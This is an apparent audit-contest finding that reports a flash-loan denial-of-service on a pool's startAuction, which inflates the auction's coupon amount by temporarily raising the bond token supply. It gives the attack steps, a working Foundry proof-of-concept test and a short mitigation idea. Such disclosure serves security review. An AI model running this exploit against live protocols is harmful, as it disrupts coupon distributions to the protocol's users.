Custom Bubblegum Bison

Medium

# Flash loan deposit before startAuction will inflate auction couponAmount - DoS

### Summary

When it is time for distribution an attacker can flash loan a huge amount of reserve token, call the `create` method of `Pool` to mint some temporary shares. Then call `startAuction`, which will use the current bondToken supply to calculate the `couponAmountToDistribute` for the new auction. Finally, the attacker can `redeem` his shares and return the flash loan.
This will cause the auction to need to collect a lot of extra coupon tokens - which will lead to `State.FAILED_UNDERSOLD` if there are not enough bidders to get to this increased coupon amount or `State.FAILED_POOL_SALE_LIMIT` if the pool doesn't have the reserves to pay out the bidders (This large coupon demand and low reserve in pool will make it uneconomical for bidders to participate). Leading to denial of service

### Root Cause

In `Pool.sol:545` the current bondToken totalSupply is used, which can be momentarily inflated by a flash loan.

### Internal Pre-conditions

1. The distribution period needs to have passed so it is time to create an auction to collect coupon tokens.
2. The auction for this distribution period needs to not have been created already. - can front run the legitimate `startAuction` tx when the block.timestamp comes.

### External Pre-conditions

no external pre-conditions

### Attack Path

1. Attacker flash loans a lot of reserve token
2. Attacker calls  pool's `create` method to mint a lot of shares
3. Attacker calls `startAuction`
4. Attacker calls pool's `redeem` to withdraw the shares
5. Attacker returns the flash loan

### Impact

This is a DoS attack, which doesn't result in the attacker gaining any protocol funds. Instead the attacker needs to pay tx fees and flash loan fee to execute this attack, but this can result in the auction component of the system to not work as intended and result in no coupon tokens being distributed for all customers.

### PoC

My PoC is using wETH as reserve token, but read in some discussions that the balancer token will be used, but the concept is the same -> flash loan wETH, deposit in balancerRouter, balancer tokens will be deposited in Pool, and after the attack can exit the plaza pool to return the flash loan

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";

import {Pool} from "../src/Pool.sol";
import {Token} from "./mocks/Token.sol";
import {Utils} from "../src/lib/Utils.sol";
import {Auction} from "../src/Auction.sol";
import {MockPool} from "./mocks/MockPool.sol";
import {BondToken} from "../src/BondToken.sol";
import {PoolFactory} from "../src/PoolFactory.sol";
import {Distributor} from "../src/Distributor.sol";
import {OracleFeeds} from "../src/OracleFeeds.sol";
import {LeverageToken} from "../src/LeverageToken.sol";
import {Deployer} from "../src/utils/Deployer.sol";
import {MockPriceFeed} from "./mocks/MockPriceFeed.sol";
import {OracleFeeds} from "../src/OracleFeeds.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {UpgradeableBeacon} from "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";
import {PausableUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";
import "forge-std/console.sol";

contract AttackTest is Test {
  Auction auction;
  Token usdc;
  Token weth;

  address bidder = address(0x1);
  address house = address(0x2);
  address minter = address(0x3);
  address governance = address(0x4);
  address securityCouncil = address(0x5);
  MockPriceFeed private mockPriceFeed;
  address public constant ethPriceFeed = address(0x71041dddad3595F9CEd3DcCFBe3D1F4b0a16Bb70);
  uint256 private constant CHAINLINK_DECIMAL_PRECISION = 10**8;
  uint8 private constant CHAINLINK_DECIMAL = 8;

  address pool;

  function setUp() public {
    usdc = new Token("USDC", "USDC", false);
    weth = new Token("WETH", "WETH", false);
    
    pool = createPool(address(weth), address(usdc));
    useMockPool(pool);
  }

  function createPool(address reserve, address coupon) public returns (address) {
    vm.startPrank(governance);
    address deployer = address(new Deployer());
    address oracleFeeds = address(new OracleFeeds());

    address poolBeacon = address(new UpgradeableBeacon(address(new Pool()), governance));
    address bondBeacon = address(new UpgradeableBeacon(address(new BondToken()), governance));
    address levBeacon = address(new UpgradeableBeacon(address(new LeverageToken()), governance));
    address distributorBeacon = address(new UpgradeableBeacon(address(new Distributor()), governance));

    PoolFactory poolFactory = PoolFactory(Utils.deploy(address(new PoolFactory()), abi.encodeCall(
      PoolFactory.initialize, 
      (governance, deployer, oracleFeeds, poolBeacon, bondBeacon, levBeacon, distributorBeacon)
    )));

    PoolFactory.PoolParams memory params;
    params.fee = 0;
    params.reserveToken = reserve;
    params.sharesPerToken = 2500000;
    params.distributionPeriod = 90 days;
    params.couponToken = coupon;
    
    poolFactory.grantRole(poolFactory.GOV_ROLE(), governance);
    poolFactory.grantRole(poolFactory.POOL_ROLE(), governance);
    poolFactory.grantRole(poolFactory.SECURITY_COUNCIL_ROLE(), securityCouncil);

    OracleFeeds(oracleFeeds).setPriceFeed(params.reserveToken, address(0), ethPriceFeed, 100 days);

    // Deploy the mock price feed
    mockPriceFeed = new MockPriceFeed();

    // Use vm.etch to deploy the mock contract at the specific address
    bytes memory bytecode = address(mockPriceFeed).code;
    vm.etch(ethPriceFeed, bytecode);

    // Set oracle price
    mockPriceFeed = MockPriceFeed(ethPriceFeed);
    mockPriceFeed.setMockPrice(3000 * int256(CHAINLINK_DECIMAL_PRECISION), uint8(CHAINLINK_DECIMAL));


  Token(reserve).mint(governance, 1000000*10**18);
    Token(reserve).approve(address(poolFactory), 1000000*10**18);
    
    return poolFactory.createPool(params, 1000000*10**18, 10000*10**18, 10000*10**18, "Bond ETH", "bondETH", "Leverage ETH", "levETH", false);
  }

  function useMockPool(address poolAddress) public {
    // Deploy the mock pool
    MockPool mockPool = new MockPool();

    // Use vm.etch to deploy the mock contract at the specific address
    vm.etch(poolAddress, address(mockPool).code);
  }

  function testAuctionLargeCouponAmount() public {
    Pool _pool = Pool(pool);

    vm.startPrank(governance);
    _pool.setAuctionPeriod(10 days);
    vm.stopPrank();

    vm.warp(95 days);

    address attacker = address(0xbad);
    vm.startPrank(attacker);
    // Simulate flash loan
    Token(_pool.reserveToken()).mint(attacker, 500e18);
    Token(_pool.reserveToken()).approve(address(_pool), 500e18);
    uint256 attackerShares = _pool.create(Pool.TokenType.BOND, 500e18, 0);

    Pool(pool).startAuction();

    // Redeem attacker shares to return the flash loan
    _pool.redeem(Pool.TokenType.BOND, attackerShares, 0);
    vm.stopPrank();

    (uint256 currentPeriod,) = Pool(pool).bondToken().globalPool();
    address auctionAddress = Pool(pool).auctions(currentPeriod-1);
    Auction _auction = Auction(auctionAddress);

    // 2.5e22 without the attack, 6.25e22 with the attack
    console.log("total buy coupon amount",_auction.totalBuyCouponAmount());
  }
}
```

### Mitigation

The team needs to discuss possible fix for this, an idea may be to add a delay to redeeming.